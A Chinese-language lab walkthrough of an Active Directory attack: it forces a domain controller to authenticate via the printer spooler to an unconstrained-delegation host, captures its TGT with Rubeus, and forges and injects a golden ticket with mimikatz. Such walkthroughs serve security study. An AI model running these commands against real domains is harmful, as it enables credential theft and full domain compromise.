环境
域: test.com
域控:Windows server 2012R2
, 主机名: AD
, IP: 192.168.1.7
域内主机:系统:windows 2008R2
,主机名:WIN2008
,ip:192.168.1.8
原理:利用非约束委派+Spooler打印机服务可以强制指定的主机进行连接
我们给win2008R2
这个主机账户开启非约束委派
复现
1、首先我们需要一个win2008R2的管理账号
我直接用本地的管理员账号打开一个cmd
直接运行命令
Rubeus.exe monitor /interval:1 /filteruser:AD$
# 我们可以用Rubeus来监听Event ID为4624事件,这样可以第一时间截取到域控的TGT
# /interval:1 设置监听间隔1秒
# /filteruser 监听对象为我们的域控,注意后面有个$,如果不设置监听对象就监听所有的TGT
2、随便打开一个cmd(不需要管理员权限)
直接执行
SpoolSample_v4.5_x64.exe AD WIN2008
# 表示利用打印服务强制让域控机向WIN2008主机验证身份,这样我们的Rubeus就可以监听到TGS了
虽然报错了,但是Rubeus
已经接收到了TGT
这儿顺便提一句,有时候cmd不能最大化
我们可以现在cmd
运行wmic
,然后再扩大cmd
,再exit
退出即可
3、提取TGS
我们先复制Rubeus
监听到的TGT
的base64
doIEyDCCBMSgAwIBBaEDAgEWooID3jCCA9phggPWMIID0qADAgEFoQobCFRFU1QuQ09Noh0wG6ADAgECoRQwEhsGa3JidGd0GwhURVNULkNPTaOCA54wggOaoAMCARKhAwIBAqKCA4wEggOIizg+lVbsDAa52/eGBUXWJpRO41sYu+nax+InJiZwGIXDnAEu3GLvpPBTnlyUy5OFkwF0fxDtIJmz6d1ta5rcPla5UnFQtxqsLt2FAB8bI3oygtArPsLtVo2nk5cxzIWrpZiYbVv1af9GUvFTBUSYP8y/RgdhPXckAwbe8fJqBL+LwGnLzmA8E5x5AdBWQ58aYrr9UQgEoUxkSewA6Y76TmrBedZ5iTSUEKgeSfDH/kfrN9cxZEWKQVkZ9or69a/XYTUrekSXIZhFXqX1CjQmhUbXeUUptFzEnnpyYLFc0XLssxPMaKbsGvacTt1SZy7sLq5me6mB6JEP5nB68Is7o9luHTu0E3XAA2OGc3oZ3/lou32ddj3SFBYJkfgDjgM7du2/Ys3WyNKPPBRGBJExouhtVF2eM+E2ADbGBhMrN9QImq9cXHqKLW0qW0uQUcNlzzN10NEZq692ZFTomuPxWVLKeg+OuvJNsLS+D0kWYoCcTT7T48ZfEkZ6s9uBtb86ddEHzIasbLMuCGlYK/ISbF2C3Hxw5oEt6Bdj9rVdPTEr3XjMcmCemdiIGbd5jBqUabkd7UXkIq2J4mVuuApt0yy62Lb9dRv6YyyO2l8qr3Pr440zCAZMYXdmwWWuQiU2w1u0YMS14v4kjQcAnRUVSnEt7yw8LALcsFW8cOXbPuXF8KhzMZ1HA54crgieI8+n4aqZy6uMCtgQJHg8oH8K1QJdlxeWLpmROH3bUWGpbLIPWaV7d+6LLxePYioRhkTmWmigbqyTuIY5EbZWfqMH6/rjPacbdsnvYB82cr9RJ0zd6Hqu0z1266ZX0b1EIBTGADOS3zAC23nuduDwnW+3nWa5nJHG/wBKuXfhmidXp4Ccs7eQsWNYdZuDMknAsSzHG7b8Tq+CP+hA8b7/sUk2Rfl8dPqxlqDAPOauvqGzcpJUlHl69xS+IWpVnzag1Th10tLj+FkUJBmEHSV9eELKf38mlD8phQm+wZ4D0LCNVZpHUBSWPWw/vX0V4RVdIFTeRAlioj52IYFXMY+L427EN/fjefXLIJIXwgz+n4DumNYXlMzMOpMbURF/ZktM4+za5EQAmyaBBXvCavhkxg4UYWFpsAX5vgqOGvhbFWXxeBMh5HznA8+ORI0MNY1alJmfqUxuibD/POlHySGgxL1AehNoL7+bsxJW/5zq0iNEyaeJMHFeMnOj66OB1TCB0qADAgEAooHKBIHHfYHEMIHBoIG+MIG7MIG4oCswKaADAgESoSIEIC9SDAhlYy3MFcTbkg/BdIKYbsoGO6JvgRk5ZDUFgHqcoQobCFRFU1QuQ09NohAwDqADAgEBoQcwBRsDQUQkowcDBQBgoQAApREYDzIwMjAwNjAyMTQwMzAyWqYRGA8yMDIwMDYwMzAwMDMwMlqnERgPMjAyMDA2MDkwNDMyMjJaqAobCFRFU1QuQ09NqR0wG6ADAgECoRQwEhsGa3JidGd0GwhURVNULkNPTQ==
然后直接用powershell
转到为正常的TGT
即可
[IO.File]::WriteAllBytes("绝对路径\TGS\ticket.kirbi", [Convert]::FromBase64String("得到的base64"))
有一个比较坑的,那就是第一个参数用绝对路径,相对路径不是pwd命令的路径~~
这样我们就可以得到TGT
票据了
4、制作黄金票据
注入TGT
票据前
不能提取所有用户的hash
注入TGS
票据后
然后就是制作黄金票据了
具体过程请参考另一篇文章
这儿请注意,我们这儿获得的TGT票据,不能算黄金票据,因为我们获得的权限只是域控的本地管理权限,所以不能连接域控,但是我们确可以因此获取所以用户的hash,所以能制作真正的黄金票据~~
首先获得域的SID
whoami /user
# S-1-5-21-3298638106-3321833000-1571791979
# 得到上面的SID,注意不需要后面表示账号权限的几位数
然后就是制作票据
kerberos::golden /domain:test.com /sid:S-1-5-21-3298638106-3321833000-1571791979 /krbtgt:0199f7c89b9d5262c897e0d1bf858bfb /user:administrator /ticket:ntlm.kirbi
然后注入票据
首先清除以前的票据
在cmd中运行 klist purge
在mimikatz运行:
kerberos::purge
kerberos::ptt ntlm.kirbi
然后klist
查看我们注入的票据
可以直接连接域控
我们还可以直接用psexec
反弹shell
,因为注入了黄金票据,所以不需要用户名和秘密
这就是所有步骤了,如果有什么不明白的欢迎留言~~
最后还有如何用ADfind
查找非约束委派的计算机和用户还没写,以后有机会再写一下吧~~